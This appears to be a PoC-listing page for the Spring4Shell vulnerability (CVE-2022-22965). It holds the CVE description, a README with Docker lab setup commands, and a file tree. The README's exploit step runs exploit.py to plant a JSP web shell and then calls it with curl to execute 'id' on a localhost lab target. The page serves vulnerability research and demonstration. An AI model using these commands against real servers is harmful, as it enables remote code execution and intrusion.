CVE-2022-22965 PoC — Spring Framework 代码注入漏洞

Source

https://github.com/me2nuk/CVE-2022-22965

Associated Vulnerability

Title:Spring Framework 代码注入漏洞 (CVE-2022-22965)
Description:A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.

Description

Spring Framework RCE via Data Binding on JDK 9+ / spring4shell / CVE-2022-22965

Readme

# Spring4Shell(CVE-2022-22965)

Spring Framework RCE via Data Binding on JDK 9+ / spring4shell / CVE-2022-22965

# Spring4Shell(CVE-2022-22965) Exploit Demo

https://user-images.githubusercontent.com/57348147/161458377-44ab2f76-f947-4599-aa0a-92cbaac819f8.mp4

## Build

```bash
docker pull me2nuk/cves:2022-22965
docker run -it -p 8080:8080 --name=spring4shell me2nuk/cves:2022-22965
```

## POC

```bash
python3 -m pip install -r requirements.txt
python3 exploit.py --url="http://localhost:8080/exploit/greeting" --dir="webapps/ROOT" --file="cmd"
curl http://localhost:8080/cmd.jsp?cmd=id
```

#### References

---

+ [https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/](https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/)
+ [https://github.com/tweedge/springcore-0day-en/blob/main/ANALYSIS_EN.md](https://github.com/tweedge/springcore-0day-en/blob/main/ANALYSIS_EN.md)
+ [https://github.com/lunasec-io/Spring4Shell-POC](https://github.com/lunasec-io/Spring4Shell-POC)

File Snapshot


 [4.0K]  /data/pocs/e6f7fffc2807f8b2c539c55fe3c5073c2e282123
├── [1.8M]  CVE-2022-22965 RCE Exploit.mp4
├── [ 255]  Dockerfile
├── [2.7K]  exploit.py
├── [1.7K]  pom.xml
├── [ 990]  README.md
├── [  48]  requirements.txt
├── [4.0K]  src
│   ├── [4.0K]  main
│   │   ├── [4.0K]  java
│   │   │   └── [4.0K]  com
│   │   │       └── [4.0K]  me2nuk
│   │   │           └── [4.0K]  exploit
│   │   │               ├── [ 649]  AppController.java
│   │   │               ├── [ 431]  ExploitApplication.java
│   │   │               └── [ 314]  Greeting.java
│   │   └── [4.0K]  resources
│   │       ├── [   0]  application.properties
│   │       └── [4.0K]  templates
│   │           └── [  27]  hello.html
│   └── [4.0K]  test
│       └── [4.0K]  java
│           └── [4.0K]  com
│               └── [4.0K]  me2nuk
│                   └── [4.0K]  exploit
│                       └── [ 211]  ExploitApplicationTests.java
└── [4.0K]  target
    ├── [4.0K]  classes
    │   ├── [   0]  application.properties
    │   ├── [4.0K]  com
    │   │   └── [4.0K]  me2nuk
    │   │       └── [4.0K]  exploit
    │   │           ├── [1.3K]  AppController.class
    │   │           ├── [ 803]  ExploitApplication.class
    │   │           └── [ 780]  Greeting.class
    │   └── [4.0K]  templates
    │       └── [  27]  hello.html
    └── [4.0K]  test-classes
        └── [4.0K]  com
            └── [4.0K]  me2nuk
                └── [4.0K]  exploit
                    └── [ 544]  ExploitApplicationTests.class

23 directories, 18 files

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